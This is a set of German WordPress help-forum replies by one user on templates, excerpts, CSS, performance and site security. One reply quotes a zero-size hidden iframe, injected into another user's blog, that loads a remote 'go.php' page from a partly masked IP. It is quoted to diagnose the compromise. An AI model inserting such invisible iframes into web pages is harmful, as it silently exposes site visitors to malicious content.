Beiträge von marX

Bei UTW gabs das Template_Tags is_tag()... mit Hilfe dessen hab ich damals das <title>-Element angepasst, in etwa so:

<title>
wp_title()
<?php if (is_tag() ) { the_tag() } ?>
</title>

Ist jetzt mehr Pseudocode, statt the_tag() muss die SimpleTag-Ausgabe des Tags stehen.

Ich machs umgekehrt, z.B. bei SV Fronberg Schreiersgrün e.V. - Die Beiträge werden im Loop mittels the_content() ausgegeben, Vorschaubilder erscheinen und auch der Inhalt genau bis zu <!--more--> Kann natürlich auch an meiner Art der Bildereinbindung liegen (Thumbnail und Lightbox-Plugin).

Mir war so, dass bei the_excerpt() HTML gefiltert wird, und auch nicht zwingend bis zu <!--more--> ausgegeben wird.

EDIT: Warum zerhaut das Forum hier Umlaute bei den automatischen Links? Die meisten WP-Blogs setzen UTF8 ein, da muss doch ein Konverter Pflicht sein...

Morris: Genau umgekehrt, oder? Mit the_excerpt() hätte er ja grade keine Bilder im Teaser-Text. Also the_content() statt the_excerpt() in der index.php, category.php, archive.php etc...

EDIT: Was mir noch einfällt, wo ich das Theme grade sehe - der 1. Beitrag wird mit großem Bild angeteasert, die weiterem mit kleinem Bild. Wie man das WP-technisch umsetzt wüsste ich jetzt auch nicht. Mit fällt da nur die CSS-Lösung ein, den (großen) Bildern in den weiteren Teasern eine feste (kleine) Breite zuzuweisen. Das wäre allerdings eher suboptimal was die Ladezeiten betrifft. :-?

Oder habe ich das Theme nicht verstanden, und der 1. Beitrag oben ist statisch und der Loop beginnt erst weiter unten mit den weiteren bilderlosen Teasern?

Das hab ich wohl überlesen, sorry. Ich dachte ihr hättet da ein wenig aneinander vorbei geredet u. hab nur versucht ein wenig Licht in die Sache zu bringen.

Wo ich das in der DB speichern würde - die benutzerdefinierten Felder hast du ja schon angesprochen (ich hab damit allerdings noch nie gearbeitet, kenn mich da nicht aus). Wenn das nicht gehen sollte wäre auch eine Änderung der posts-Tabellenstruktur denkbar, als weitere Spalte (post_subtitle oder so).

Weder Content noch Sidebar haben einen Seitenhintergrund definiert. Beim body wird nur das Hintergrundbild ausgeben. Laut Firebug dehnt sich dein page-Container nur auf die Höhe des Headers aus. Positionierungsproblem vielleicht (float)?

Ich stimme Olafb zu, die bloginfo()-Varianten sollten sicher sein, da da ein Angreifer normalerweise nicht an deren Output rumfummeln können sollte (außer er hat Zugriff auf die WP-Dateien, dann ist aber die Suchfunktion noch das geringste Problem...).
$_SERVER-Variablen können von Angreifern unter Umständen manipuliert werden, $_SERVER['PHP_SELF'] sollte ja auch per GET übergebene Parameter wieder mit ausgeben, was in Formular-actions zu Problemen führen kann...

Olafb: Also wenn ich Nobbi richtig verstehe, dann will er sowas hier:

[HIER IST DAS TEXTFELD WO DER TITLE REINKOMMT]
[HIER IST DAS TEXTFELD WO DIE 2. ÜBERSCHRIFT REINKOMMT]
_______________________________________________________________________________
|Nach der Verlosung anlässlich des Tages der offenen Tür der Freiwillige....   |
|______________________________________________________________________________|

Wie man das umsetzt weiß ich allerdings auch nicht, da ich mich mit Backend-Customizing nicht auskenne. Aber vllt. lässt sich das als Plugin umsetzen.
Ich wär übrigens auch an einer solchen Lösung interessiert, da die Variante mit dem "in den Beitrag schreiben" hier und da ein paar (layouttechnische) Probleme verursacht.

Gibts nicht.

/*
	Calendar Module
*/


#wp-calendar {
	width: 100%;
	}


#wp-calendar td {
	text-align: center;
	}


#wp-calendar caption {
	font-size: 1.2em;
	padding: 5px;
	}


#wp-calendar #prev {
	text-align: left;
	}


#wp-calendar #next {
	text-align: right;
	}

Da drunter fügst du meine oder Morris' Code ein.

EDIT: Ich sag nüscht mehr hier. Immer kommt mir jemand zuvor... *schmoll* :mrgreen:

Gibts. Suchst du nach "breadcrumb navigation xt".

Zitat von Gaeltacht

In anderen WP-Blogs akzeptiert der FF die hspace / vspace Angaben übrigens durchaus.

Durchaus möglich. Haben die auch den Doctype XHTML-Strict? Oder Transitional? Da dürfte der FF mißbilligte Elemente und Attribute noch akzeptieren.

Dein CSS hatte den Bildern übrigens vorher nur padding:0; mitgegeben, kein Wunder wenn da keine Abstände kommen (überprüft mit FF und Firebug). Deswegen ja auch mein Hinweis mit dem margin.

jottlieb: Ansichtssache. Kommt auf den Inhalt und die Zielgruppe an. Manche Blogstartseiten sind durch eingebettete Youtube-Videos mehrere Megabytes groß. Wer's braucht... :-?
Jedenfalls sollte der Fehler nicht bei der Größe der ausgelieferten Daten zu suchen sein, da sollte ja wp-cache helfen. Unerklärlich bleibt ja, warum der Server >6 Sekunden benötigt, um überhaupt erstmal eine Seite zu generieren.

finky: Ich würde das Problem trotzdem bei den Datenbankabfragen vermuten. Die kannst du dir per wp_querys() (oder so ähnlich, siehe Main Page « WordPress Codex) die Zahl der Datenbankanfragen ausgeben lassen. Weiterhin solltest du mal deine Plugins nach komplizierten Datenbankanfragen durchforsten.

<img vspace="5" hspace="10" ... />

*grusel*
Formatiere den Abstand per CSS (z.B. margin:10px; ), dann klappts auch mit dem Firefox. Der ignoriert die veralteten vspace- und hspace-Angaben nämlich (richtigerweise!) bei dem von dir verwendeten Doctype XHTML-Strict.

Yel Nats: wie schon weiter oben geschrieben - versuche dein Blog und alle Plugins (und evtuell auch Themes) auf dem neuesten Stand zu halten. Bei Plugins muss man generell vorsichtig sein, da kann auch schnell mal eins dabei sein, was Lücken aufreißt. Das ist leider für Laien nicht so einfach zu erkennen.

Ist weg. Beobachte das aber mal weiter. Wenn die Lücke noch offen ist kann der Cracker bald wieder seinen Code bei dir einschleusen.

Ca. 7.5 Sekunden Seitenaufbau (auf dem Server!). Ich tipp mal auf extreme Datenbankabfragen. Welche Plugins laufen? Speziell Statistikplugins können sehr Datenbank-lastig werden.

Jupp, Virenmeldung auch hier (Opera 9.21 + AntiVir)

Ganz am Ende deines Quellcodes steht:

<iframe src='http://81.95.149.xxx/go.php?sid=1' style='border:0px solid gray;' WIDTH=0 HEIGHT=0 FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=no></iframe>

Schreib die Kommentare doch direkt in die Datenbank.

Vielleicht damit? PHP: fsockopen - Manual

Noch ein Hinweis: mit CSS3 wird es wohl möglich sein, die Textrichtung auch vertikal beeinflussen zu können. Dann sollte auch so einem Theme nicht mehr viel im Wege stehen (von den etwas exotischen Schriftarten mal abgesehen. ;-))

Der IE6+ soll wohl die Eigenschaft "writing-mode" bereits unterstützen... (ungetestet).